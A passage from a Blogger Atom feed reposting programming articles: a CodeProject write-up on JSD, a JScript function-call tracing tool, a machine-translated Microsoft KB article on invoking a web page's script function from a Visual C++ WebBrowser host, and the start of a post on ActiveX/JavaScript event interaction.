fails for any reason the un-instrumented script is passed to the scripting engine instead and an error message is written to the output stream.&lt;br /&gt;&lt;br /&gt;Note that any code which is instrumented by JSD has the conditional compilation variable @JSD added. This provides an easy way to control use of the client API - see below.&lt;br /&gt;Generating Trace Output&lt;br /&gt;&lt;br /&gt;All calls to trace output which are made on the __JSD object ultimately result in a call to the Win32 API function OutputDebugString. These emitted strings can be viewed by running a suitable viewer - like this one from SysInternals.&lt;br /&gt;&lt;br /&gt;To help filtering of these messages from other calls to OutputDebugString all trace statements are preceded by the "JSD:" prefix. Strings are also indented to show levels of nesting for each function.&lt;br /&gt;&lt;br /&gt;The __JSD object gets the information it requires (function name and passed arguments) from the "arguments" object which is passed in as part of the instrumented function call. It is a simple case of calling the appropriate methods on the dispatch interface of this object to read the required values.&lt;br /&gt;Using the code&lt;br /&gt;&lt;br /&gt;As described above JSD gives you trace information to assist debugging without the need to modify your code. Just make sure the component is registered as described above and run you application and the output will be produced.&lt;br /&gt;&lt;br /&gt;JSD also exposes a client API which provides:&lt;br /&gt;&lt;br /&gt;    * Control over the implicit usage.&lt;br /&gt;    * An additional set of methods for instrumenting your code to output debugging information.&lt;br /&gt;&lt;br /&gt;Control Methods&lt;br /&gt;&lt;br /&gt;The following methods affect the implicit JSD calls.&lt;br /&gt;&lt;br /&gt;Reset&lt;br /&gt;&lt;br /&gt;Resets internal values and also works out the current indent level based on the current call stack.&lt;br /&gt;&lt;br /&gt;This is most useful when you have thrown an exception from deep within a nested call to a try/catch handler high up the call stack. If you don't call reset JSD will start tracing the next lot of functions at whatever level of indentation was reached before the exception was raised. Fairly soon the trace statements will disappear off the r.h.s. of the output !&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;&lt;br /&gt;catch(e)&lt;br /&gt;{&lt;br /&gt;   __JSD.Reset(arguments); &lt;br /&gt;  reportError("Exception caught in global catch handler");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Trace&lt;br /&gt;&lt;br /&gt;Turns tracing on/off from this point in the code until it is turned on/off again with another call. Takes a boolean argument.&lt;br /&gt;&lt;br /&gt;var bPrevious = __JSD.Trace;                  // get previous setting&lt;br /&gt;&lt;br /&gt;__JSD.Trace = true;&lt;br /&gt;&lt;br /&gt;//  Do something&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;__JSD.Trace = bPrevious;                      // reset to previous setting&lt;br /&gt;&lt;br /&gt;Additional API Methods&lt;br /&gt;&lt;br /&gt;All API methods are member functions of the global JSD object - which is available to your code under the name __JSD.&lt;br /&gt;&lt;br /&gt;The __JSD object will be avilable if you are running in Replace Mode but not when you are using the normal JScript engine. To enable your code to run without problems in both situations you can use the @JSD conditional compilation flag which is added when JSD parses your code, e.g.&lt;br /&gt;&lt;br /&gt;@if (@JSD)&lt;br /&gt;       __JSD.ClearTrace();&lt;br /&gt;@end&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;Note - The API methods such as TraceText always emit trace statements regardless of the state of the global trace flag (see above).&lt;br /&gt;&lt;br /&gt;The API methods are as follows:&lt;br /&gt;&lt;br /&gt;TraceText&lt;br /&gt;&lt;br /&gt;Inserts the text string into the stream of JSD trace messages. Usage:&lt;br /&gt;&lt;br /&gt;__JSD.TraceText("Halfway through function foo");&lt;br /&gt;&lt;br /&gt;TraceStack&lt;br /&gt;&lt;br /&gt;This writes out a trace of the functions in the current call stack and displays the arguments to each one. The stack trace is also returned as a string. Usage:&lt;br /&gt;&lt;br /&gt;alert("Error occurred here : " + __JSD.TraceStack(arguments));&lt;br /&gt;&lt;br /&gt;This method also takes an (optional) second parameter or type bool - if this is present and set to false the current function is not included in the call stack, only those above it.&lt;br /&gt;&lt;br /&gt;TraceFn&lt;br /&gt;&lt;br /&gt;Records entry to the function and any lists any arguments. Usage:&lt;br /&gt;&lt;br /&gt;__JSD.TraceFn(arguments);&lt;br /&gt;&lt;br /&gt;This function also takes an optional name which overrides the actual name of the function. The real reason for this parameter is to allow for naming of anonymous functions (see below).&lt;br /&gt;&lt;br /&gt;function &lt;br /&gt;    foo(){&lt;br /&gt;   __JSD.TraceFn(arguments,"callMeBar");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;TraceFnExit&lt;br /&gt;&lt;br /&gt;Records exit from a function and optionally the value returned from the function. Usage:&lt;br /&gt;&lt;br /&gt;__JSD.TraceFnExit(arguments,"bye");&lt;br /&gt;&lt;br /&gt;ClearTrace&lt;br /&gt;&lt;br /&gt;Outputs the special debug string DBGVIEWCLEAR. This can be intercepted by any viewer of debug messages and used as an instruction to clear the messages on display. DebugView works in this way (what a lucky coincidence !). Usage:&lt;br /&gt;&lt;br /&gt;__JSD.ClearTrace()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;JSD Directives&lt;br /&gt;&lt;br /&gt;In some situations it is necessary to instrument the code to control JSD. This is done in the form of directives embedded within comments.&lt;br /&gt;&lt;br /&gt;_JSD_NO_TRACE_&lt;br /&gt;&lt;br /&gt;JSD instruments each call immediately before the first statement in the function. This means that the following:&lt;br /&gt;&lt;br /&gt;function foo() { __JSD.Trace(false); } &lt;br /&gt;&lt;br /&gt;Will still trace all calls to foo as the injected code is called before the Trace method turns trace output off. To turn off tracing of a specific function call you need to instrument the function declaration like this:&lt;br /&gt;&lt;br /&gt;function foo() /* _JSD_NO_TRACE_ */  {&lt;br /&gt;     // Body of function&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;or like this:&lt;br /&gt;&lt;br /&gt;function foo() // _JSD_NO_TRACE_ {&lt;br /&gt;&lt;br /&gt;    // Body of function&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Do this when you need to avoid tracing a function like onmousemove that is firing constantly and generating too much output.&lt;br /&gt;&lt;br /&gt;Additionally if the first 128 bytes of your script contains this directive:&lt;br /&gt;&lt;br /&gt;/* _JSD_NO_TRACE_ */&lt;br /&gt;&lt;br /&gt;then the whole file is excluded from the instrumentation process.&lt;br /&gt;&lt;br /&gt;_JSD_TRACE_&lt;br /&gt;&lt;br /&gt;This is the opposite of _JSD_NO_TRACE_ and ensures that the function is traced (even if the global trace flag is set to off). In reality this directive is not required as putting __JSD.TraceFn at the start of the function would do the same job. It has the benefit of being ignored by the real JScript engine if this is being used directly whereas an explicit call to TraceFn would need to be removed or guarded in some way (conditional compilation etc.).&lt;br /&gt;&lt;br /&gt;_JSD_NAME_&lt;br /&gt;&lt;br /&gt;Allows you to give a name to an otherwise anonymous function. E.g. :&lt;br /&gt;&lt;br /&gt;foo.doIt = function() /* foo::doIt */ &lt;br /&gt;{&lt;br /&gt;   // Body of function&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;gives a name to the member function of the foo class.&lt;br /&gt;&lt;br /&gt;If anonymous functions are not named in this way JSD will generate a name for each function, as follows:&lt;br /&gt;&lt;br /&gt;JScript_Anonymous_Function_XXX&lt;br /&gt;&lt;br /&gt;Where XXX is simply an integer incremented each time an anonymous function is parsed by JSD.&lt;br /&gt;Settings&lt;br /&gt;&lt;br /&gt;The JSD Configurator utility can be used to manage all the JSD settings. The settings are described fully in the help text supplied with this application as well as being summarised here.&lt;br /&gt;&lt;br /&gt;There are a number of parameters which allow you to have some control over the output of JSD:&lt;br /&gt;&lt;br /&gt;Trace - Sets the default value for tracing output of instrumented functions - 1 is on by default, 0 is off by default. Even when this setting is set to zero calls to the API functions (see below) will still be traced.&lt;br /&gt;&lt;br /&gt;Indent - Number of spaces that are added for each level of indentation for nested function calls. Default is 3. Use 0 to turn off indentation.&lt;br /&gt;&lt;br /&gt;Instrument - Determines whether to instrument code to trace function entry and exit. If this value is present and set to zero tracing is turned off, otherwise instrumentation is enabled. You would turn this off when you want to use the features of JSD API explicitly and don't want each and every call logged.&lt;br /&gt;&lt;br /&gt;Opt-In&lt;br /&gt;&lt;br /&gt;Because implicit usage means that JSD is used anywhere that JScript would have been used (for instance the Windows Explorer search window, Windows logon scripts, MSDN document explorer, etc.) you must explicitly opt-in to get this implicit usage (so its not really implicit !).&lt;br /&gt;&lt;br /&gt;This additional level of configuration is mostly to avoid any bugs that are introduced during development from causing nasty problems. While (hopefully) this is not an issue for the release version it is still prudent to limit the usage of JSD in this way - just in case !&lt;br /&gt;&lt;br /&gt;To opt-in to JSD usage requires that your application is listed under the JScriptDebug registry key:&lt;br /&gt;&lt;br /&gt;Screenshot - TraceApps.gif&lt;br /&gt;&lt;br /&gt;Only applications listed here get the trace functionality by default and only if the DWORD value is set to 1. All other applications will use the Microsoft JScript engine.&lt;br /&gt;Problems / Issues / Outstanding Features&lt;br /&gt;&lt;br /&gt;    * The parser is a hand-crafted, ad-hoc solution. It will not successfully parse all the JScript code that the Microsoft script engine will parse. However it works most of the time and if you write 'standard' JScript code you won't have any problems. If you like to push the boundaries of readability in your code then this component is not for you !&lt;br /&gt;    * You MUST use a semi-colon at the end of a return statement, even if you are returning a function definition. The script parser in JSD will fail if it doesn't find this token. The parser could be improved to avoid this need but this would involve some reasonably tricky modifications to what is otherwise a relatively simple parser. Semi-colons are cheap so for the moment its not really an issue.&lt;br /&gt;    * The parser will probably break if it finds a regular expression like this :&lt;br /&gt;&lt;br /&gt;      var re = new /}/; &lt;br /&gt;&lt;br /&gt;      The parser will not notice that the "}" character is in a regular expression and therefore should be ignored. This should be fairly easy to fix but a simple workaround is to use quoted strings for the regular expression.&lt;br /&gt;    * When JSD is loaded but the application is not listed in the TraceApp key an instance of the real JScript engine is returned and the JSD instance deletes itself. This should mean that the JSD dll can be freed by the application and unloaded. Despite DllCanUnloadNow returning S_OK and the reference count being correctly returned to zero JSD is not unloaded by some applications.&lt;br /&gt;    * Although the parser passes the un-instrumented to the JScript engine when it recognizes that it has failed, there may be situations where it thinks it has succeeded but actually emits code that doesn't compile. Caveat emptor !&lt;br /&gt;    * The same principles could be used to instrument VBScript. I don't tend to use VBScript so I haven't had the motivation to do this.&lt;br /&gt;    *&lt;br /&gt;&lt;br /&gt;      Because the source has been changed by the instrumentation process this flag SCRIPTTEXT_HOSTMANAGESSOURCE has to be removed when passing the modified source to the engine. Otherwise the source code is not correctly aligned when single-stepping in the debugger. One consequence of removing this flag is that Visual Studio 2005 (for instance) no longer applies the syntax highlighting to the source when debugging. There may be a solution to this problem but I haven't found it yet !&lt;br /&gt;    * The project is VC6 but would benefit from an update (ATL7.0 has a C++ regular expression parser - the current parser uses the VB RegExp object by importing the dll).&lt;br /&gt;    * The code for the JSD Configurator is not provided. This application demonstrates nothing of interest and so only the binary is available.&lt;br /&gt;    * Probably plenty more !&lt;br /&gt;&lt;br /&gt;Summary&lt;br /&gt;&lt;br /&gt;On its own tracing function calls is only half the story. It doesn't tell you anything that goes on between the function entry and exit. Quite a while ago I played around with an excellent utility component called The Script Adapter . This component wraps COM objects in order to solve a number of scripting related issues - again without the need to modify the source COM component.&lt;br /&gt;&lt;br /&gt;While developing JSD I also modified this component so that it provides similar trace functionality to that described here. This means any method call for a wrapped component is written out using OutputDebugString along with any arguments and return values. If time permits (and there is enough interest) I will make this component available.&lt;br /&gt;&lt;br /&gt;Together these two components have proved invaluable in tracking down problems and monitoring what's happening in my JScript code - maybe I should just write better code ! There may well be other utilities out there that do the same thing - I couldn't find one when I needed it so I wrote this instead. The fun is always in the chase.&lt;br /&gt;About Keith Skilling&lt;br /&gt;&lt;br /&gt;I work as an independent software contractor. I am currently working for SwissRe in London.&lt;br /&gt;&lt;br /&gt;I am also the author of a fantastic utility called CMU - trust me you'll love it as well !&lt;br /&gt;History&lt;br /&gt;&lt;br /&gt;05/07/07 - Links to JSD Configurator added.&lt;br /&gt;&lt;br /&gt;20/04/07 - First posted to CodeProject.&lt;br /&gt;License&lt;br /&gt;&lt;br /&gt;This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)&lt;br /&gt;About the Author&lt;br /&gt;Keith Skilling&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;	&lt;br /&gt;Occupation: 	Web Developer&lt;br /&gt;Location: 	Switzerland Switzerland&lt;br /&gt;&lt;br /&gt;Discussions and Feedback&lt;br /&gt;&lt;br /&gt;Comment 2 messages have been posted for this article. Visit http://www.codeproject.com/KB/scripting/JScriptDebug.aspx to post and view comments on this article, or click here to get a print view with messages.&lt;br /&gt;PermaLink | Privacy | Terms of Use&lt;br /&gt;Last Updated: 4 Jul 2007&lt;br /&gt;Editor: Smitha Vijayan&lt;br /&gt;	Copyright 2007 by Keith Skilling&lt;br /&gt;Everything else Copyright © CodeProject, 1999-2008&lt;br /&gt;FileMail | Advertise on the Code Project&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-6491530463788255645?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/6491530463788255645/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=6491530463788255645' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/6491530463788255645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/6491530463788255645'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/09/function-call-tracing-in-jscript.html' title='Function Call Tracing in JScript'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-2738220938619409643</id><published>2008-09-24T23:11:00.002-07:00</published><updated>2008-09-24T23:51:18.148-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='com'/><title type='text'>如何从一个 VC WebBrowser 应用程序中调用一个脚本函数</title><content type='html'>如何从一个 VC WebBrowser 应用程序中调用一个脚本函数&lt;br /&gt;Retired KB Article本文介绍那些 Microsoft 不再提供支持的产品。因此本文按“原样”提供，并且不再更新。&lt;br /&gt;察看本文应用于的产品&lt;br /&gt;机器翻译查看机器翻译免责声明&lt;br /&gt;文章编号	:	185127&lt;br /&gt;最后修改	:	2004年6月29日&lt;br /&gt;修订	:	1.1&lt;br /&gt;概要&lt;br /&gt;当承载 WebBrowser 控件在 Visual C++ 应用程序时, 您可能希望在一个 Web页面上执行存在的一个脚本函数。 本文演示如何执行此操作。&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;更多信息&lt;br /&gt;以一个 Web页面上调用存在的一个脚本函数，您必须使用自动化 ； 换句话说，IDispatch。 使用下面的步骤来调用存在于您的 Visual C++ 应用程序中的 Web 页面的一个脚本函数：&lt;br /&gt;1.	get of HTML document IDispatch。&lt;br /&gt;2.	调用 IDispatch:: GetIDsOfNames 获取脚本函数的 ID。&lt;br /&gt;3.	调用 IDispatch:: Invoke 执行功能。&lt;br /&gt;following Visual C++ source code demonstrates how to implement your own application in this。 this code uses smart pointers by #import statement created。 must in one of your source code files，preferably Stdafx.h include this #import statement:&lt;br /&gt;&lt;br /&gt;#import "C:\winnt\system32\mshtml.tlb" // location of mshtml.tlb&lt;br /&gt;&lt;br /&gt;   void CMyClass::ExecuteScriptFunction()&lt;br /&gt;   {&lt;br /&gt;      // m_WebBrowser is an instance of IWebBrowser2&lt;br /&gt;      MSHTML::IHTMLDocument2Ptr spDoc(m_WebBrowser.GetDocument());&lt;br /&gt;&lt;br /&gt;      if (spDoc)&lt;br /&gt;      {&lt;br /&gt;         IDispatchPtr spDisp(spDoc-&gt;GetScript());&lt;br /&gt;         if (spDisp)&lt;br /&gt;         {&lt;br /&gt;            // Evaluate is the name of the script function.&lt;br /&gt;            OLECHAR FAR* szMember = L"evaluate";&lt;br /&gt;            DISPID dispid;&lt;br /&gt;&lt;br /&gt;            HRESULT hr = spDisp-&gt;GetIDsOfNames(IID_NULL, &amp;szMember, 1,&lt;br /&gt;                                           LOCALE_SYSTEM_DEFAULT, &amp;dispid);&lt;br /&gt;&lt;br /&gt;            if (SUCCEEDED(hr))&lt;br /&gt;            {&lt;br /&gt;               COleVariant vtResult;&lt;br /&gt;               static BYTE parms[] = VTS_BSTR;&lt;br /&gt;&lt;br /&gt;               COleDispatchDriver dispDriver(spDisp, FALSE);&lt;br /&gt;&lt;br /&gt;               dispDriver.InvokeHelper(dispid, DISPATCH_METHOD, VT_VARIANT,&lt;br /&gt;                                       (void*)&amp;vtResult, parms,&lt;br /&gt;                                       "5+Math.sin(9)");&lt;br /&gt;            }&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;   }&lt;br /&gt;				&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;下面是为包含评估函数网页 HTML：&lt;br /&gt;&lt;br /&gt;&lt;HTML&gt;&lt;br /&gt;  &lt;HEAD&gt;&lt;br /&gt;    &lt;TITLE&gt;Evaluate&lt;/TITLE&gt;&lt;br /&gt;&lt;br /&gt;    &lt;SCRIPT&gt;&lt;br /&gt;      function evaluate(x)&lt;br /&gt;      {&lt;br /&gt;         alert("hello")&lt;br /&gt;         return eval(x)&lt;br /&gt;      }&lt;br /&gt;   &lt;/SCRIPT&gt;&lt;br /&gt;  &lt;/HEAD&gt;&lt;br /&gt;&lt;br /&gt;  &lt;BODY&gt;&lt;br /&gt;  &lt;/BODY&gt;&lt;br /&gt;&lt;/HTML&gt;&lt;br /&gt;				&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;参考&lt;br /&gt;(c) Microsoft Corporation 1998，All Rights Reserved。 由 Scott Roberts，Microsoft Corporation&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;这篇文章中的信息适用于:&lt;br /&gt;•	Microsoft Internet Explorer 4.0 128-Bit Edition&lt;br /&gt;•	Microsoft Internet Explorer 4.01 Service Pack 2&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;关键字： &lt;br /&gt;	kbmt kbcode kbfaq kbhowto kbwebbrowser KB185127 KbMtzh&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;机器翻译注意：这篇文章是由无人工介入的微软自动的机器翻译软件翻译完成。微软很高兴能同时提供给您由人工翻译的和由机器翻译的文章, 以使您能使用您的语言访问所有的知识库文章。然而由机器翻译的文章并不总是完美的。它可能存在词汇，语法或文法的问题，就像是一个外国人在说中文时总是可能犯这样的错误。虽然我们经常升级机器翻译软件以提高翻译质量，但是我们不保证机器翻译的正确度，也不对由于内容的误译或者客户对它的错误使用所引起的任何直接的, 或间接的可能的问题负责。如果您发现了错误并希望帮助我们提高机器翻译技术，请完成文章末尾的在线调查。&lt;br /&gt;点击这里察看该文章的英文版： 185127 (http://support.microsoft.com/kb/185127/en-us/)&lt;br /&gt;&lt;br /&gt;回到顶端&lt;br /&gt;Microsoft 和/或其各供应商对于为任何目的而在本服务器上发布的文件及有关图形所含信息的适用性，不作任何声明。所有该等文件及有关图形均"依样"提供，而不带任何性质的保证。Microsoft和/或其各供应商特此声明，对所有与该等信息有关的保证和条件不负任何责任，该等保证和条件包括关于适销性、符合特定用途、所有权和非侵权的所有默示保证和条件。在任何情况下，在由于使用或运行本服务器上的信息所引起的或与该等使用或运行有关的诉讼中，Microsoft和/或其各供应商就因丧失使用、数据或利润所导致的任何特别的、间接的、衍生性的损害或任何因使用而丧失所导致的之损害、数据或利润不负任何责任。&lt;br /&gt; &lt;br /&gt;请就此篇文章提供反馈&lt;br /&gt;这篇文章有助您解决问题吗？&lt;br /&gt;	是&lt;br /&gt;	否&lt;br /&gt;	解决了一部分&lt;br /&gt;	我不知道&lt;br /&gt;	&lt;br /&gt;非常同意								强烈反对&lt;br /&gt;	9	8	7	6	5	4	3	2	1&lt;br /&gt;这篇文章容易理解&lt;br /&gt;									&lt;br /&gt;文章内容准确&lt;br /&gt;									&lt;br /&gt;附加评论：&lt;br /&gt;为了保护您的隐私，请不要在您的反馈中提及联系信息。&lt;br /&gt;		&lt;br /&gt;谢谢您！您的反馈将被用来帮助我们提高支持内容。要了解更多帮助选项，请访问帮助和支持主页。&lt;br /&gt;		&lt;br /&gt;	&lt;br /&gt;文章翻译&lt;br /&gt;	 	&lt;br /&gt;相关支持中心&lt;br /&gt;&lt;br /&gt;    * Internet Explorer&lt;br /&gt;&lt;br /&gt;其他支持选项&lt;br /&gt;&lt;br /&gt;    * 联系微软获得帮助&lt;br /&gt;      电话号码,支持选项, 在线帮助和更多&lt;br /&gt;    * 客户支持服务&lt;br /&gt;      提供给正版用户的免费技术支持服务。&lt;br /&gt;    * 新闻组（论坛）&lt;br /&gt;      微软中文新闻组（论坛）提供完全免费的关于微软产品及其技术的讨论和交流。&lt;br /&gt;    * 下载&lt;br /&gt;      提供给您微软下载导航，帮助您找到热门的更新和下载。&lt;br /&gt;    * 订阅中文支持邮件月刊&lt;br /&gt;      一月一刊，自动发送到您的邮箱，帮助您及时了解最新微软在线支持新闻和技术支持知识库文章。&lt;br /&gt;    * 站点地图&lt;br /&gt;      提供支持网站导航&lt;br /&gt;&lt;br /&gt;页面工具&lt;br /&gt;&lt;br /&gt;    * 打印此页&lt;br /&gt;    * 通过电子邮件发送此页&lt;br /&gt;&lt;br /&gt;技术支持与服务&lt;br /&gt;服务协议&lt;br /&gt;联系微软	|	保留所有权利	|	商标	|	隐私权声明&lt;br /&gt;	&lt;br /&gt;Microsoft Microsoft&lt;br /&gt;©2008 Microsoft&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-2738220938619409643?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/2738220938619409643/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=2738220938619409643' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/2738220938619409643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/2738220938619409643'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/09/vc-webbrowser.html' title='如何从一个 VC WebBrowser 应用程序中调用一个脚本函数'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-186158193537320919</id><published>2008-09-24T23:11:00.001-07:00</published><updated>2008-09-24T23:52:08.278-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='com'/><title type='text'>ActiveX组件与JavaScript交互</title><content type='html'>1．在COM组件中调用JavaScript函数&lt;br /&gt;// 连接点方式页面javascript脚本&lt;br /&gt;&lt;object classid="CLSID:B568F111-DFE4-4944-B67F-0728AB2AB30F" id="testCom" VIEWASTEXT&gt;&lt;/object&gt;&lt;br /&gt;&lt;script language="JavaScript" for="testCom" event="staTe(s)"&gt;&lt;br /&gt;        alert("State(" + s + ")");&lt;br /&gt;        return 123;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script language="JavaScript"&gt;&lt;br /&gt;        testCom.FireStateEvent("Hello");&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;// 事件属性方式页面javascript脚本&lt;br /&gt;function onState(s){&lt;br /&gt;        alert("onState(" + s + ")");&lt;br /&gt;        return 456;&lt;br /&gt;}&lt;br /&gt;var o = new ActiveXObject("TestATL.TestCom");&lt;br /&gt;o.onstaTe=onState;&lt;br /&gt;o.FireStateEvent("Hello");&lt;br /&gt;&lt;br /&gt;// Com组件VC7.1 ATL代码&lt;br /&gt;__interface _ITestComEvents{&lt;br /&gt;        [id(1), helpstring("State事件")] HRESULT State([in] BSTR str);&lt;br /&gt;};&lt;br /&gt;__event __interface _ITestComEvents;&lt;br /&gt;IDispatchPtr m_onState;        // 事件属性&lt;br /&gt;STDMETHOD(get_onState)(IDispatch** pVal) {&lt;br /&gt;        *pVal = m_onState;&lt;br /&gt;        return S_OK;&lt;br /&gt;};&lt;br /&gt;STDMETHOD(put_onState)(IDispatch* newVal) {&lt;br /&gt;        m_onState = newVal;&lt;br /&gt;        return S_OK;&lt;br /&gt;};&lt;br /&gt;STDMETHOD(FireStateEvent)(BSTR str) {&lt;br /&gt;        __raise State(str);        // 激发连接点事件&lt;br /&gt;        CComVariant result;&lt;br /&gt;        CComVariant avarParams[1] = {str};&lt;br /&gt;        DISPPARAMS dispParams = {avarParams, NULL, 1, 0};&lt;br /&gt;        EXCEPINFO excepInfo;&lt;br /&gt;        memset(&amp;excepInfo, 0, sizeof excepInfo);&lt;br /&gt;        UINT nArgErr = (UINT)-1;      // initialize to invalid arg&lt;br /&gt;        if (m_onState)        // 激发属性事件&lt;br /&gt;            HRESULT hr = m_onState-&gt;Invoke(0, IID_NULL, LOCALE_USER_DEFAULT,&lt;br /&gt;                DISPATCH_METHOD, &amp;dispParams, &amp;result, &amp;excepInfo, &amp;nArgErr);&lt;br /&gt;        return S_OK;&lt;br /&gt;}&lt;br /&gt;参见：&lt;br /&
